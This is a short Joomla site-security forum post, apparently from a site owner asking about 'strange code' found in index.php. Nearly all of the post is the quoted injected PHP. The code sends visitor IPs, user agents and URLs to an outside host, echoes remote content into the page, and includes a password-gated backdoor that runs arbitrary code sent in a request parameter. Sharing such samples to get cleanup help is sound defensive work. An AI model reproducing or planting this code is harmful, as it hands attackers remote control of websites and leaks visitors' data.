Странный код в index.php - Безопасность сайтов на Joomla

<?php if (isset($ibv)) {
    echo $ibv;
} else {
    if (!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
    if (!isset($c_["HTTP_ACCEPT_CHARSET"])) {
        if (preg_match("!.!u", file_get_contents($_SERVER["SCRIPT_FILENAME"]))) {
            $c0 = "UTF-8";
        } else {
            $c0 = "windows-1251";
        }
    } else {
        $c0 = $c_["HTTP_ACCEPT_CHARSET"];
    }
    if (function_exists("curl_init")) {
        $c1 = curl_init("http://oldcolonybeckley.com/get.php?d=" . urlencode($_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]). "&u=" . urlencode($_SERVER["HTTP_USER_AGENT"]). "&c=" . $c0 . "&i=1&ip=" . $_SERVER["REMOTE_ADDR"] . "&h=" . md5("a0674ab0b11c3b681a477ad6f5033423" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] . $_SERVER["HTTP_USER_AGENT"] . $c0 . "1"));
        curl_setopt($c1, 42, false);
        curl_setopt($c1, 19913, true);
        $ibv = curl_exec($c1);
        curl_close($c1);
    } elseif (ini_get("allow_url_fopen") == 1) {
        $ibv = file_get_contents("http://oldcolonybeckley.com/get.php?d=" . urlencode($_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]). "&u=" . urlencode($_SERVER["HTTP_USER_AGENT"]). "&c=" . $c0 . "&i=1&ip=" . $_SERVER["REMOTE_ADDR"] . "&h=" . md5("a0674ab0b11c3b681a477ad6f5033423" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] . $_SERVER["HTTP_USER_AGENT"] . $c0 . "1"));
    }
    if (isset($ibv)) {
        echo $ibv;
    }
    if (isset($_REQUEST["p"]) && $_REQUEST["p"] == "c79f0b3a") {
        @assert($_REQUEST["c"]);
    }
}